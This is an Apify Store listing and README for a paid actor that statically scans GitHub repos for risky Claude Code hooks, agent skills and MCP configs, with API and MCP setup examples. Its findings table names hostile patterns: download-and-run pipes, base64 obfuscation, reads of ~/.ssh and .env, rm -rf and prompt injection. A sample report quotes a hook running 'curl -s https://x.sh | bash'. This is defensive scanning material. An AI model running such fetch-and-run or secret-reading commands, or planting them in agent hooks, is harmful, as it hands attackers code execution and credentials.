# Claude Code Hooks & Skills Security Scanner (+ MCP) (`issea1015/agent-config-audit`) Actor

The only Store scanner built for Claude Code: audit hooks (settings.json, plugin hooks.json) and agent skills (SKILL.md prompt injection, hidden Unicode, unrestricted Bash, secret-stealing scripts), plus MCP config leaks, across many GitHub repos per run.

- **URL**: https://apify.com/issea1015/agent-config-audit.md
- **Developed by:** [Daniel An](https://apify.com/issea1015) (community)
- **Categories:** Developer tools, AI, Agents
- **Features:** Limited permissions
- **Stats:** 2 total users, 1 monthly users, 100.0% runs succeeded, 0 bookmarks
- **User rating**: No ratings yet

## Pricing

$50.00 / 1,000 repository auditeds

This Actor is paid per event. You are not charged for the Apify platform usage, but only a fixed price for specific events.

Learn more: https://docs.apify.com/actors/running/actors-in-store.md#pay-per-event

## What's an Apify Actor?

An Actor is a serverless cloud program that runs on the Apify platform. It has two run modes.
In Batch mode, an Actor accepts a well-defined JSON input, performs an action which can take anything from a few seconds to a few hours,
and optionally produces a well-defined JSON output, datasets with results, or files in key-value store.
In Standby mode, an Actor provides a web server which can be used as a website, API, or an MCP server.

Apify vocabulary and the platform model are defined once, in the agent quickstart at https://apify.com/agents.md.

## How to integrate an Actor?

If asked about integration, you help developers integrate Actors into their projects.
You adapt to their stack and deliver integrations that are safe, well-documented, and production-ready.

Do not guess an integration path. Every one of them is in the agent quickstart at https://apify.com/agents.md: the Apify MCP server, Agent Skills with the Apify CLI, the JavaScript and Python clients, the REST API, and the account-free path for an agent with no human to sign in. It also carries the rule on stating cost before the first paid run.

For examples already wired to this Actor's own input schema, see the [API](#api) section below.

Each client library has reference documentation the quickstart does not restate: [JavaScript/TypeScript](https://docs.apify.com/api/client/js/docs.md) (`npm install apify-client`) and [Python](https://docs.apify.com/api/client/python/docs.md) (`pip install apify-client`).

# README

## Claude Code Hooks & Skills Security Audit (+ MCP configs)

Scan GitHub repositories for risky AI-agent configuration **before** you install a plugin, a skill pack or an MCP server.
Most agent scanners stop at MCP servers. This one reads what Claude Code actually runs: **hooks** (shell commands that fire on every tool call) and **skills** (instructions plus scripts the agent follows). Paste repo URLs, get one row per repo with a verdict (PASS / WARN / FAIL), a 0–100 risk score and every finding with its file.

### What it checks

| Area | Files | Findings |
|---|---|---|
| Claude Code hooks | `.claude/settings*.json`, plugin `hooks/hooks.json` | download-and-run (`curl … \| sh`), obfuscated commands (base64 decode), secret access (`~/.ssh`, `.env`, API-key env vars), network calls, `eval`/`sh -c`, temp paths, `rm -rf`, missing hook scripts, and the capabilities of the scripts hooks run |
| Agent skills | every `SKILL.md` and the scripts next to it | prompt-injection phrases, hidden Unicode (zero-width, bidi, tag characters), unrestricted `allowed-tools: Bash`, scripts that read secrets **and** reach the network, script capabilities (network, subprocess, delete, sudo) |
| MCP servers | `.mcp.json`, `mcp.json`, `claude_desktop_config.json` | hardcoded API keys/tokens in `env` or headers, unpinned `npx`/`uvx` packages (a new release runs automatically), remote servers over plain `http`, `--privileged` containers, download-and-run commands |

Static analysis only: the actor downloads a snapshot of the repo and reads files. It never runs code from the scanned repo.

### Input

- `repositories`: GitHub URLs (`https://github.com/owner/repo`, `…/tree/branch`) or `owner/repo`. Up to 200 per run.
- `minSeverity`: `low` (default), `medium` or `high`.
- `githubToken` (optional): only for private repos. Read-only scope is enough; it is never written to the output.

### Output (one dataset item per repository)

```json
{
  "repository": "https://github.com/acme/agent-plugins",
  "ref": "HEAD",
  "verdict": "FAIL",
  "riskScore": 66,
  "counts": {"high": 2, "medium": 1, "low": 0},
  "scanned": {"hookConfigs": 1, "skills": 4, "mcpConfigs": 1},
  "findings": [
    {"severity": "HIGH", "rule": "download-and-run", "file": "hooks/hooks.json",
     "detail": "hooks.PostToolUse[0] matcher='*': curl -s https://x.sh | bash"},
    {"severity": "HIGH", "rule": "hardcoded-secret", "file": ".mcp.json server='github'",
     "detail": "env GITHUB_TOKEN holds a literal credential"}
  ]
}
```

Export as JSON, CSV or Excel, call it from the Apify API, or schedule it to re-check the repos your team depends on.

### Use cases

- Vet a third-party Claude Code plugin, skill pack or MCP server before installing it.
- Audit every repo in your org for leaked keys in MCP configs.
- Re-scan pinned dependencies on a schedule and alert on new HIGH findings (webhooks/integrations).

### Pricing

Pay per event: **$0.05 per repository audited**. Repos that fail to download are not charged.

### Verdicts

- **FAIL**: at least one HIGH finding (likely malicious or leaking secrets). Don't install without review.
- **WARN**: capabilities worth a look (network access, unpinned packages, unrestricted Bash).
- **PASS**: nothing found.

A static scan finds known risky patterns; it can't prove a repo is safe. Treat PASS as "no red flags", not a guarantee.

### Quick start

1. Open the **Input** tab: a sample repository is prefilled, so you can press **Start** right away and see a real report in seconds.
2. Replace it with the plugin, skill pack or MCP server repos you want to vet (one per line).
3. Read the **Overview** table: verdict, risk score, counts per severity. Open the dataset item for every finding with its file.

Example input: `{"repositories": ["owner/claude-plugin", "https://github.com/owner/skills/tree/main"], "minSeverity": "medium"}`

### FAQ

**Does it run code from the repo?** No. It reads a snapshot of the files only.
**Which Claude Code files are covered?** `.claude/settings*.json` hooks, plugin `hooks/hooks.json`, every `SKILL.md` with its scripts, and MCP configs.
**How is this different from an MCP-only scanner?** MCP scanners skip hooks and skills, which run shell commands and instructions automatically inside Claude Code.
**A rule misfired or a pattern is missing. What do I do?** Open an issue in the Actor's Issues tab; reports are answered and fixed in new builds.
**Can I automate it?** Yes: schedule runs, call it through the Apify API, or add an integration or webhook that fires when a run finishes.

### More Actors from this developer

- [App Store Scraper: Reviews, App Info & ASO Keyword Rank](https://apify.com/issea1015/appstore-reviews-ratings): App Store reviews, app metadata and keyword ranks for many apps and countries.
- [SEC Insider Trading (Form 4) & Fundamentals](https://apify.com/issea1015/sec-insider-trades-fundamentals): parsed Form 4 insider buys/sells with a net-buying signal plus fundamentals, many tickers per run.
- [Hacker News Thread & Comment Digest](https://apify.com/issea1015/hacker-news-thread-digest): search HN by keyword or domain and export full comment trees with a one-line digest per thread.

# Actor input Schema

## `repositories` (type: `array`):

Public GitHub repo URLs (https://github.com/owner/repo, optionally /tree/<branch>) or owner/repo.

## `minSeverity` (type: `string`):

Drop findings below this level from the output.

## `githubToken` (type: `string`):

Only needed for private repositories. Read-only scope is enough. Never stored in the output.

## Actor input object example

```json
{
  "repositories": [
    "https://github.com/issea1015/guard-dangerous-bash"
  ],
  "minSeverity": "low"
}
```

# Actor output Schema

## `results` (type: `string`):

All rows from this run (default dataset).

# API

You can run this Actor programmatically using our API. Below are code examples in JavaScript, Python, and CLI, as well as the OpenAPI specification and MCP server setup.

## JavaScript example

```javascript
import { ApifyClient } from 'apify-client';

// Initialize the ApifyClient with your Apify API token
// Replace the '<YOUR_API_TOKEN>' with your token
const client = new ApifyClient({
    token: '<YOUR_API_TOKEN>',
});

// Prepare Actor input
const input = {
    "repositories": [
        "https://github.com/issea1015/guard-dangerous-bash"
    ]
};

// Run the Actor and wait for it to finish
const run = await client.actor("issea1015/agent-config-audit").call(input);

// Fetch and print Actor results from the run's dataset (if any)
console.log('Results from dataset');
console.log(`💾 Check your data here: https://console.apify.com/storage/datasets/${run.defaultDatasetId}`);
const { items } = await client.dataset(run.defaultDatasetId).listItems();
items.forEach((item) => {
    console.dir(item);
});

// 📚 Want to learn more 📖? Go to → https://docs.apify.com/api/client/js/docs

```

## Python example

```python
from apify_client import ApifyClient

# Initialize the ApifyClient with your Apify API token
# Replace '<YOUR_API_TOKEN>' with your token.
client = ApifyClient("<YOUR_API_TOKEN>")

# Prepare the Actor input
run_input = { "repositories": ["https://github.com/issea1015/guard-dangerous-bash"] }

# Run the Actor and wait for it to finish
run = client.actor("issea1015/agent-config-audit").call(run_input=run_input)

# Fetch and print Actor results from the run's dataset (if there are any)
print(f"💾 Check your data here: https://console.apify.com/storage/datasets/{run.default_dataset_id}")
for item in client.dataset(run.default_dataset_id).iterate_items():
    print(item)

# 📚 Want to learn more 📖? Go to → https://docs.apify.com/api/client/python/docs/quick-start

```

## CLI example

```bash
echo '{
  "repositories": [
    "https://github.com/issea1015/guard-dangerous-bash"
  ]
}' |
apify call issea1015/agent-config-audit --silent --output-dataset

```

## MCP server setup

```json
{
    "mcpServers": {
        "apify": {
            "type": "http",
            "url": "https://mcp.apify.com/?tools=fetch-actor-details,issea1015/agent-config-audit"
        }
    }
}
```

The hosted server signs you in with OAuth on first connect, so no API token belongs in this config. Clients without OAuth support can send an `Authorization: Bearer <APIFY_API_TOKEN>` header instead, using a token from API & Integrations in Apify Console (https://console.apify.com/settings/integrations).

## OpenAPI specification

Download the OpenAPI definition: https://api.apify.com/v2/actors/nVW7OVPiMBQ4weQpl/builds/FTS5Da5mwTZEPjax0/openapi.json
